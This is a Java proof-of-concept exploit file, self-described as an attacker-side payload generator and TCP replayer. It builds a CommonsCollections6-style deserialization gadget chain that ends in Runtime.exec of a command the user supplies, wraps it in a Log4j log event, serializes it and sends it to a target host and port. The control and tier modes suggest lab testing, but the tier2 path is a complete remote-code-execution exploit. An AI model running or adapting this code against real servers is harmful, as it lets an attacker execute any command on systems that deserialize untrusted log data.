package poc;

import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.Socket;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.logging.log4j.Level;
import org.apache.logging.log4j.core.impl.Log4jLogEvent;

/** Attacker-side payload generator and raw TCP replayer. */
public final class Sender {

    private Sender() {}

    public static void main(final String[] args) throws Exception {
        switch (args[0]) {
            case "generate":
                generate(args[1], args[2], args.length > 3 ? args[3] : null);
                return;
            case "send":
                send(args[1], Integer.parseInt(args[2]), args[3]);
                return;
            default:
                throw new IllegalArgumentException("usage: generate <control|tier1|tier2> <file> [command] | send <host> <port> <file>");
        }
    }

    private static void generate(final String mode, final String file, final String command) throws Exception {
        final Object object;
        switch (mode) {
            case "control": object = new GadgetOnly(); break;
            case "tier1": object = buildEvent(new GadgetOnly()); break;
            case "tier2": object = buildEvent(buildCc6Chain(command)); break;
            default: throw new IllegalArgumentException("unknown mode: " + mode);
        }
        try (ObjectOutputStream out = new ObjectOutputStream(new BufferedOutputStream(new FileOutputStream(file)))) {
            out.writeObject(object);
        }
        System.out.println("[attacker] generated " + mode + " payload bytes=" + Files.size(Path.of(file)) + " file=" + file);
    }

    private static void send(final String host, final int port, final String file) throws Exception {
        long count = 0;
        try (Socket socket = new Socket(host, port);
             BufferedInputStream in = new BufferedInputStream(new FileInputStream(file));
             BufferedOutputStream out = new BufferedOutputStream(socket.getOutputStream())) {
            final byte[] buffer = new byte[8192];
            for (int read; (read = in.read(buffer)) != -1;) {
                out.write(buffer, 0, read);
                count += read;
            }
            out.flush();
            socket.shutdownOutput();
        }
        System.out.println("[attacker] replayed exact serialized bytes=" + count + " file=" + file);
    }

    private static Log4jLogEvent buildEvent(final Object payload) {
        return Log4jLogEvent.newBuilder()
                .setLoggerName("attacker")
                .setLoggerFqcn(Sender.class.getName())
                .setLevel(Level.INFO)
                .setMessage(new MessageShell(payload))
                .build();
    }

    /** CommonsCollections6-style HashMap/TiedMapEntry/LazyMap chain. */
    private static HashMap<?, ?> buildCc6Chain(final String command) throws Exception {
        if (command == null || command.isEmpty()) throw new IllegalArgumentException("tier2 requires command");
        final Transformer[] realChain = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class},
                    new Object[] {"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class},
                    new Object[] {null, new Object[0]}),
            new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {command})
        };
        final ChainedTransformer chain = new ChainedTransformer(new Transformer[] {new ConstantTransformer(1)});
        final Map<Object, Object> inner = new HashMap<>();
        final Map<Object, Object> lazy = LazyMap.decorate(inner, chain);
        final TiedMapEntry entry = new TiedMapEntry(lazy, "key");
        final HashMap<Object, Object> map = new HashMap<>();
        map.put(entry, "value");
        inner.clear();
        final Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chain, realChain);
        return map;
    }
}